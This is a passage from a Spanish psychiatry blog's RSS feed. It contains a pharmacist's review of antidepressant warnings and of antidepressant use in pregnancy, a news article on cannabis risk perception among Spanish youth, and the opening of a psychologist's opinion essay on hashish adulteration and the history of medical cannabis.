<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<table class="MsoTableGrid" style="border-collapse: collapse; border: medium none" cellspacing="0" cellpadding="0" border="1">
<tr>
<td style="padding-right: 5.4pt; padding-left: 5.4pt; padding-bottom: 0cm; width: 91px; padding-top: 0cm; border: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 240px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top" colspan="2">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Riesgo relativo de uso de consulta medica por…..después y antes de la notificación de alarma (95% CI)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 240px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top" colspan="2">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Riesgo relativo de uso de …..  después y antes de la notificación de alarma</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(95% CI)</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Trastornos depresivos</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Trastornos de ansiedad</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Suicidio consumado</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Intento de suicidio</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Niños y adolescentes</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,90</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,85-0,96)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,95</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,89-1,02)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">1,25</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(1,08-1,44)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,84</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,63-1,12)</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Adultos jóvenes</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,91</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,87-0,96)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,95</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,90-0,99)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">1,01</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,93-1,10)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 120px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,76</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,57-1,03)</span></font></p>
</td>
</tr>
</table>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">Los hallazgos expuestos señalan una diferencia entre lo detectado en los ensayos clínicos, que motivaron la alarma, que fue la aparición de ideación suicida, y el acto suicida propiamente dicho. Además en los ensayos clínicos se excluía sistemáticamente a los pacientes con alto riesgo de suicido. Por tanto es posible que con esta alarma se hubiera privado a algunos niños y adolescentes un tratamiento antidepresivo que precisaban. El incremento de ideas suicidas comunicadas entre los sujetos n tratamiento con fármaco durante los ensayos clínicos frente a placebo, bien puede reflejar en realidad que el fármaco facilita que el niño adolescente verbalice unos sentimientos que de otra forma parece no comunicar, si es así, esto protegería al niño-.adolescente del suicidio. Hipótesis que es compatible con los hallazgos de este trabajo.</span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span lang="EN-GB" style="font-size: 12pt">Ramos E, Oraichi D, Rey E, Blais L, Bérard A. Prevalence and predictors of antidepressant use in a cohort of pregnant women. </span>BJOG . 2007 Sep;<span class="volume">114</span>(<span class="issue">9</span>):<span class="pages">1055-64.</span> </font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">¿Cuál es la prevalencia de uso de antidepresivos antes, durante y después del embarazo?, ¿que fármacos y a que dosis se emplean cuando tratan la depresión durante el embarazo?, ¿que factores se asocian con el uso al inicio y al final del embarazo?. Para responder a estas preguntas se  ha recurrido a analizar los datos de la cohorte “Medication and Pregnancy��?, conformada por la conjunción de 3 bases de datos: RAMQ (Régie de l’Assurance Maladie du Québec), Med-Écho (una base de datos provincial que registra hospitalizaciones para cuidados agudos) y ISQ (Institut de la Statistique du Québec). De esta cohorte se eligieron las mujeres que cumplieron las siguientes condiciones: 1) edad entre 15 y 45 años en el memento de entrar en la corte, definido como el primer día de gestación; y  2) permanecer continuamente asegurada al por el plan de medicamentos de RAMQ durante al menos desde 12 meses antes del primer día de gestación, durante la gestación y durante los 12 meses posteriores a la finalización del embarazo.  La prevalencia de uso de antidepresivos por cada periodo de tiempo se calculó dividiendo el número de mujeres que recibió al menos un antidepresivo en este periodo de tiempo por el número total de mujeres que en la cohorte cumplían los criterios de elección. </span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">De 152107 mujeres en la cohorte Medication and Pregnancy entre  el 01/01/1998 y el 31/12/2002, cumplieron con los criterios de elección 97680. De estas parieron 56981 (58,3%), 40699 (41,7%) finalizaron en abortos planificados, y 4684 (4,8%) fueron  abortos espontáneos. La prevalencia de uso de antidepresivos durante los 12 meses antes al primer día del embarazo y durante los 12 meses posterior a la finalización del embarazo fue del 6,6 y 7,0% respectivamente (p<0,01). La prevalencia de consumo de antidepresivos decayó durante el primer trimestre comparado con el periodo anterior al embarazo (3,7 frente a 6,6%; p<0,01) y continuó disminuyendo durante el segundo (1,6%) y tercer trimestres (1,1%). Durante el primer trimestre del embarazo los fármacos más utilizados fueron paroxetina (34,2%), sertralina (12,7%), venlafaxina (12,3%) y amitriptilina (8,6%). Durante el segundo trimestre paroxetina (36,8%) y sertralina (13,2%), venlafaxina (10,2%) y fluoxetina (8,6%). Durante el tercer trimestre fueron paroxetina (41,7%), sertralina (13,5%), fluoxetina (9,9%) y venlafaxina (8,2%). Durante el primer trimestre se produjo un cambio de antidepresivo en el 4,7% de las mujeres que estaban tomando estos medicamentos el primer día de gestación. Un total de 349 mujeres recibieron diagnostico de depresión mayor durante el periodo de embarazo o en el año previo, entre estas no hubo casos de empleo de antidepresivos a dosis mayores a las recomendadas, pero si hubieron casos de infradosificación. Entre los factores significativamente asociados a recibir antidepresivos en el inicio de la gestación se encontraron: una mayor edad de la madre, recibir servicios de bienestar social y el año del calendario (la probabilidad de que una mujer recibiera antidepresivos al inicio del embarazo aumentó sistemáticamente desde 1998 hasta 2001, con un ligero descenso en el 2002). Estar recibido al menos 6 medicamentos distintos a antidepresivos, recibir prescripciones de al menos dos médicos distintos, haber realizado al menos tres visitas al médico y haber recibido un diagnostico de depresión en el año previo también aumentaron la probabilidad de estar recibiendo un tratamiento antidepresivo al inicio del embarazo. Los predoctores de estar recibiendo antidepresivos al final del embarazo fueron los mismos.</span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">El presente trabajo ilustra como las mujeres evitan recibir antidepresivos durante el embarazo, por miedo a dañar al feto. Los autores consideran que sería interesante tratar de cuantificar las consecuencias de la renuncia a emplear los fármacos antidepresivos para confrontarlas con los riesgos derivados de su uso.</span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt">EMILIO POL YANGUAS </span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt">DR. EN FARMACIA</span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt">25-8-08  </span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt">  </span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
</div>
<div id="highlighterDivCG" style="display: none; z-index: -1; position: absolute; background-color: yellow" />
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/26/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CANNABIS: BAJA PERCECIÓN DEL RIESGO</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/25</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/25#comments</comments>
		<pubDate>Sun, 20 Jul 2008 12:17:04 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/25</guid>
		<description><![CDATA[Marihuana y hachís. El consumo, aunque se ha reducido en menores y en población general parece estable, está muy extendido
La baja percepción del riesgo, gran reto en la lucha contra el cannabis
Luchar contra la baja percepción del riesgo y la aceptación social del consumo de drogas son mensajes que cobran una especial relevancia cuando se [...]]]></description>
			<content:encoded><![CDATA[<div class="antetitulo">Marihuana y hachís. El consumo, aunque se ha reducido en menores y en población general parece estable, está muy extendido</div>
<h2>La baja percepción del riesgo, gran reto en la lucha contra el cannabis</h2>
<div class="entradilla">Luchar contra la baja percepción del riesgo y la aceptación social del consumo de drogas son mensajes que cobran una especial relevancia cuando se habla de cannabis. El que durante años se le haya calificado de droga blanda, unido al discurso de los movimientos pro legalización de la marihuana y el hachís han sido elementos que han facilitado su extensión, según los expertos consultados por CF.</div>
<div class="autor">Naiara Brocal Carrasco. naiara.brocal@unidadeditorial.es 07/07/2008</div>
<div class="desarrollo">Esta sustancia es la droga ilegal más consumida en España y en el mundo. En menores, como apuntan los últimos datos del Ministerio de Sanidad, el 20 por ciento de jóvenes de entre 14 y 18 años había consumido cannabis en los últimos 30 días, frente al 8,7 de la población de entre 15 y 64 años. Prevalencias muy altas, aunque en los adolescentes, menor que la de años anteriores. </p>
<p><span style="font-weight: bold">Problemas</span><br />
El Plan Nacional sobre Drogas publicaba además hace dos semanas un informe elaborado en colaboración con el Observatorio Europeo de Drogas y realizado en 14.589 estudiantes, que exponía que el 2,2 por ciento de chavales de entre 14 y 18 años presenta un consumo problemático de cannabis. En total, serían 50.000 los jóvenes en España en esta situación. Carmen Moya, delegada del Gobierno para el Plan Nacional sobre Drogas (PNSD), explica a CF que el informe trató de detectar al adolescente que &#8220;no es consciente de que este consumo le está generando problemas y que puede desarrollar dependencia en un futuro&#8221;. Para ello, se evaluaron parámetros como si consumía cannabis antes del mediodía, si lo hacía solo o si le había ocasionado problemas con sus amigos.</p>
<p>La extensión del consumo de cannabis y la edad de inicio de esta droga, situada en tan sólo 14,6 años, son cuestiones que preocupan al PNSD. Moya critica asimismo que el consumo de cannabis está casi &#8220;normalizado. Esta percepción de que no conlleva riesgos es un mito que hay que romper&#8221;.</p>
<p>En población joven, pero que ya ha cumplido la mayoría de edad, el consumo de cannabis también es frecuente, según un estudio del Departamento de Psicología Clínica y Psicobiología de la Universidad de Santiago en 554 alumnos. De éstos, el 25,2 por ciento declaró fumar cannabis de forma habitual. Su autor principal, Fernando Vázquez, advierte de que el consumo de esta sustancia es a menudo la puerta de entrada al consumo de otras ilegales.</p>
<p>&#8220;En el mundo de las drogas no suele haber consumidores de una sola sustancia, por lo que no es extraño que el usuario de cannabis consuma también tabaco y alcohol&#8221;.</p>
<p>Las consecuencias agudas del cannabis incluyen descoordinación motora, euforia, ansiedad, sensación de que el tiempo transcurre lentamente, deterioro de la capacidad del juicio, retraimiento social, desarrollo de trastornos psicóticos inducidos por el cannabis (aunque suelen remitir a las 24 horas) además de que afecta al rendimiento escolar y laboral del afectado.</p>
<p>Pero a largo plazo puede tener efectos irreversibles como deterioro de la memoria y de la atención, propiciar trastornos de ansiedad, y en personas vulnerables favorece el desarrollo de psicosis.</p>
<p>Moya apunta que en torno al 7 por ciento de los que prueban el cannabis acabarán desarrollando dependencia o lo que es lo mismo, pérdida de control sobre el consumo unido a efectos físicos, psicológicos y comportamentales.</p>
<p>Las drogas, resalta Vázquez, son producto de su época. &#8220;El consumo de cannabis, junto con el alcohol y la cocaína son fundamentalmente de tipo recreativo&#8221;.</p>
<p>En cuanto al cannabis, señala que la insistencia de los medios de comunicación sobre el perfil terapéutico del cannabis ha restado credibilidad a los mensajes sobre sus efectos negativos.</p>
<p>La Sociedad Española de Medicina Familiar y comunitaria (Semfyc), entidad que ha colaborado con el PNSD, apuesta por registrar en la historia clínica de los pacientes el consumo de cannabis y otras sustancias. El coordinador del Grupo de Intervención en Drogas, José Zarco, destaca que el fin es &#8220;diagnosticar lo antes posible, prevenir dependencia y, en su caso, tratar&#8221;.</p>
<p><span style="font-weight: bold">Comunicación</span><br />
Lograr la confianza del paciente es lo más complicado. &#8220;Precisa habilidades de comunicación para diagnosticar y abordar estos asuntos, manteniendo la confidencialidad porque es una parte muy íntima y privada, y que en muchos casos tiene un tinte de ilegal. Por eso hay que trabajar sobre los prejuicios para que no influyan en la relación terapéutica&#8221;.</p>
<p>En adolescentes, la demanda de ayuda es probable que parta del entorno familiar. &#8220;Hay que dejar claro que hay que trabajar con el adolescente e intentar calmar la angustia que estas situaciones genera&#8221;.</p>
<p>Para el representante de Semfyc, aunque no se puede banalizar ningún consumo, hay que &#8220;contextualizar&#8221; cada situación concreta.</p>
<p>&#8220;Dadas las prevalencias que existen, no es nada raro que un chaval de 18 años haya probado el cannabis. Pero la mayor parte son consumos esporádicos&#8221;.</p>
<p><span style="font-weight: bold">La comorbilidad psiquiátrica, frecuente</span><br />
La comorbilidad entre consumo de cannabis y trastornos mentales se encuentra en plena investigación. La semana pasada se publicaban los resultados de un estudio en adolescentes hospitalizados en el Servicio de Psiquiatría y Psicología Infantil y Juvenil del Hospital Clínico de Barcelona que mostraba que uno de cada diez había consumido esta droga a diario en el último año. El trabajo, promovido por el Programa de Becas de Investigación de la Fundación Española de Psiquiatría y AstraZeneca, expone que los pacientes con trastornos de conducta, déficit de atención e hiperactividad y trastorno bipolar registran los mayores consumos. Estudios de neuroimagen han demostrado, por otra parte, el daño que el cannabis produce en el cerebro. Uno de los últimos, publicado en junio en Archives of General Psychiatry, señalaba que fumar a diario cinco cigarrillos de cannabis reduce el hipocampo, que es el área cerebral que regula las emociones y la memoria. &#8220;Es difícil demostrar el efecto causal en estas enfermedades&#8221;, explica José Zarco, de la Sociedad Española de Medicina Familiar y Comunitaria (Semfyc). Respecto a la asociación clásica con la esquizofrenia, el experto señala que &#8220;no está claro si el cannabis favorecería la enfermedad o desenmascararía una predisposición genética&#8221;.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/25/feed/</wfw:commentRss>
		</item>
		<item>
		<title>¿SABEMOS EN REALIDAD QUÉ FUMAN NUESTRO HIJOS?</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/22</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/22#comments</comments>
		<pubDate>Thu, 06 Mar 2008 11:06:01 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/22</guid>
		<description><![CDATA[¿SABEMOS EN REALIDAD QUÉ FUMAN NUESTROS HIJOS?
  Francisco Javier López
Psicólogo Clínico
 El mayor favor que se puede hacer a cualquier país es añadir una planta útil a su cultura.
THOMAS JEFFERSON, Notas sobre Virginia
 Consideraciones previas.

             Las consideraciones previas son; a saber, si nuestros hijos o nietos fuman (por haschish), lo que creen, o se envenenan sin saberlo; [...]]]></description>
			<content:encoded><![CDATA[<p><strong><em><font face="Times New Roman">¿SABEMOS EN REALIDAD QUÉ FUMAN NUESTROS HIJOS?<br />
</font></em></strong><strong><em><font face="Times New Roman" size="3"> </font></em></strong><strong><em> </em></strong><strong><font size="3"><font face="Times New Roman">Francisco Javier López<br />
</font></font></strong><strong><font size="3"><font face="Times New Roman">Psicólogo Clínico<br />
</font></font></strong><strong><em><font face="Times New Roman" size="3"> </font></em></strong><strong><em><font face="Times New Roman"><strong>El mayor favor que se puede hacer a cualquier país es añadir una planta útil a su cultura</strong><em>.<br />
</em></font><font face="Times New Roman">THOMAS JEFFERSON<em>, Notas sobre Virginia<br />
</em></font><font face="Times New Roman" size="3"> </font></em></strong><strong><em><strong><font size="3"><font face="Times New Roman">Consideraciones previas.</font></font></strong></p>
<p></em></strong><strong><font size="3"><font face="Times New Roman"><br />
</font></font></strong> <font size="3"><font face="Times New Roman">            Las consideraciones previas son; a saber, si nuestros hijos o nietos fuman (por haschish), lo que creen, o se envenenan sin saberlo; ya que en una reciente “memoria, la Ministra de Sanidad a la sazón se aventuró a decir que alrededor del 95% de jóvenes entre los 15 y 25 años fuman compulsivamente <em>la bazofia</em> que se vende en España por tal droga o fármaco a precios desorbitantes; creando (a mi juicio) una fuente de lucro cesante que en otros países no se observa: caso de Holanda, Estados Unidos y Suiza por poner tres ejemplos.</font></font></p>
<p><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Me gustaría asimismo dejar claro que mi postura ante el tema de que se consuma tal o cual droga –sea ésta legal o ilegal- tiene dos componentes al menos esenciales al ser psicólogo clínico: la primera es que hubo un tiempo en el que pensé que todas las drogas (y sobre todo el cáñamo), deberían estar dónde siempre estuvieron, en la farmacia, botica o herbolario. Y que como dije en otro lugar (<strong>1</strong>), con “conocimiento, autoestima o amor propio e ilustración farmacológica, (que no es decir poco) cualquiera podía hacer un uso racional de ellas. Después pasé a pensar todo lo contrario; es decir, que debían seguir siendo prohibidas. Y así las cosas, con la ecuanimidad que proporciona la distancia crítica, mi deber de conciencia, me impide inclinarme hacia un lado u otro de la balanza. Quizá por lo que ya decía Aristóteles de que la virtud está en el punto medio, que en mi caso se podría denominar mera abstención, si es que se fuera a votar a favor o en contra. Pero no por ello, y como estudioso de la psicofarmacología voy a dejar de ser imparcial y poder opinar al respecto. </font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Considero que no hay drogas buenas o malas, (o drogas blandas y drogas duras) los maniqueísmos no nos valen y mucho menos para estos temas, <em>sólo hay dosis -</em>como decía Paracelso, <em>contextos</em> y <em>usos</em> más o menos sensatos. Del conocimiento de las dosis de una droga, depende que sirva a efectos eutanásicos por ejemplo, o como un instrumento de salvar vidas humanas o aliviar sus sufrimientos (y no sólo para las ilegales). Ahora bien este conocimiento es incompatible con el estado de adulteración que llevan aparejadas, y que es lo que mata o hace enfermar en contraposición. </font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">Así pues, espero que el lector no avezado en estos temas –aparte de la vasta información con la que se pueda encontrar tanto en “la red, como en la literatura especializada- posea más elementos de juicio a la hora de valorar la situación (si es que es fumador que no se autoabastece), o si es madre, padre o abuelo/a y sabe que alguno de sus vástagos consume “hash con la creencia de que es blando, bueno o, al menos no tan nocivo como una inocente cerveza o un par de combinados.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">  </font></font></p>
<p><font face="Times New Roman" size="3" /><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman"><strong>Breve historia del cáñamo</strong>.</font></font></p>
<p><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Las primeras noticias escritas que tenemos sobre los efectos terapéuticos del uso de los derivados del cáñamo (haschish y marihuana), nos vienen de la farmacopea china del “Pen Ts’ao de Shen Nung, un emperador mandarín que escribió el tratado allá por el año 3727 a.d.C. En él se hacen referencias tales como sus usos en alivio de dolores de parto, y también para aliviar –regulando- los dolores menstruales. (<strong>2</strong>).</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"> <font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Más tarde supimos que a estos beneficios se les unirían los efectos antiespasmódicos, antiasmáticos, antidepresivos, reductores o supresores de vómitos, inapetencia, algunas enfermedades de los ojos, (de hecho sigue siendo uno de los mejores remedios contra el glaucoma), expectorante y así, un largo etc.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            A finales del siglo XIX algunos psiquiatras añadieron al elenco el tratamiento de elección para mujeres con histeria y lo que hoy llamamos trastorno bipolar (anteriormente psicosis maníaco-depresiva). Para las primeras, aduciendo las moderadas -pero indudables- virtudes venéreas del fármaco; y en los segundos debido a que su gran capacidad para la introspección, evitaba –o al menos aminoraba- los brotes de entusiasmo delirantes o manía.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"> <font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Después de más de un siglo, (desde el Convenio sobre Sustancias Psicotrópicas de Viena de 1971) sólo algunos miembros del estamento terapéutico siguen sin defender estos usos aduciendo que no existe “uso médico reconocido&#8221;, impidiendo que otros que sí lo consideran recurran a haschish, marihuana y láudanos de cáñamo, como venían haciendo hasta entonces.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Hoy sabemos que en la liberal Holanda, no sólo se vende y se consume en los coofee-shops, sino que se receta por médicos y evidentemente, se vende también en casi todas las oficinas de farmacia. Y que en las últimas investigaciones realizadas en ese país nos indican que además, de las dolencias mencionadas, es inmejorable como anti-vomitivo en pacientes cancerosos y en todas las edades. Me refiero por ejemplo a una leucemia infantil u otros tipos de neoplasias que precisen de quimio o radioterapia. </font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3" /><font face="Times New Roman" size="3"><strong><font size="3"><font face="Times New Roman">Pero…, ¿qué es o qué se compra en la calle por haschish?</font></font></strong></p>
<p><strong><font size="3"><font face="Times New Roman"><br />
